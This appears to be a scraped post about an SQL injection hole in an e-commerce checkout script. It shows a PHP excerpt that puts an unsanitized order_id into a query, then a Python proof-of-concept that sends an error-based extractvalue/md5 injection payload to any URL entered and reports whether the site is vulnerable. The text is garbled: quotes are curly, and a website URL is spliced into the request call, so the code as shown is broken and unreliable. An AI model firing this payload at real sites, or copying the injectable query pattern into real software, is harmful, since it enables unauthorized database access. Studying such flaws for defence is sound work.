elseif ($_REQUEST[‘step‘] == ‘repurchase‘) {    include_once(‘includes/cls_json.php‘);    $order_id = strip_tags($_POST[‘order_id‘]);    $order_id = json_str_iconv($order_id);    $db->query(‘DELETE FROM ‘ .$ecs->table(‘cart‘) . " WHERE rec_type = " . CART_REPURCHASE);    $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table(‘order_goods‘) . " WHERE order_id = " . $order_id);    $result = array(‘error‘ => 0, ‘message‘ => ‘‘);    $json  = new JSON;    foreach ($order_goods as $goods) {        $spec = empty($goods[‘goods_attr_id‘]) ? array() : explode(‘,‘, $goods[‘goods_attr_id‘]);        if (!addto_cart($goods[‘goods_id‘], $goods[‘goods_number‘], $spec, $goods[‘parent_id‘], CART_REPURCHASE)) {            $result = false;            $result = array(‘error‘ => 1, ‘message‘ => $_LANG[‘repurchase_fail‘]);        }    }    die($json->encode($result));}

import requestsdef check_vulnerable(check_url):    if check_url[-1] == ‘/‘:        url = check_url + ‘flow.php?step=repurchase‘    elif check_url[-1] != ‘/‘:        url = check_url + ‘/flow.php?step=repurchase‘    post_data = {"order_id":"order_id=1 or extractvalue(1,concat(0x7e,md5(1))) or 1#"}    res = requests.post(url,data=http://www.mamicode.com/post_data)    if res.status_code == 200 and ‘c4ca4238a0b923820dcc509a6f75849‘ in res.text:        return True    else:        return False    if __name__ == ‘__main__‘:    check_url = raw_input("Input URL:")    if check_vulnerable(check_url):        print "It‘s vulnerable"    else:        print "It‘s not vulnerable"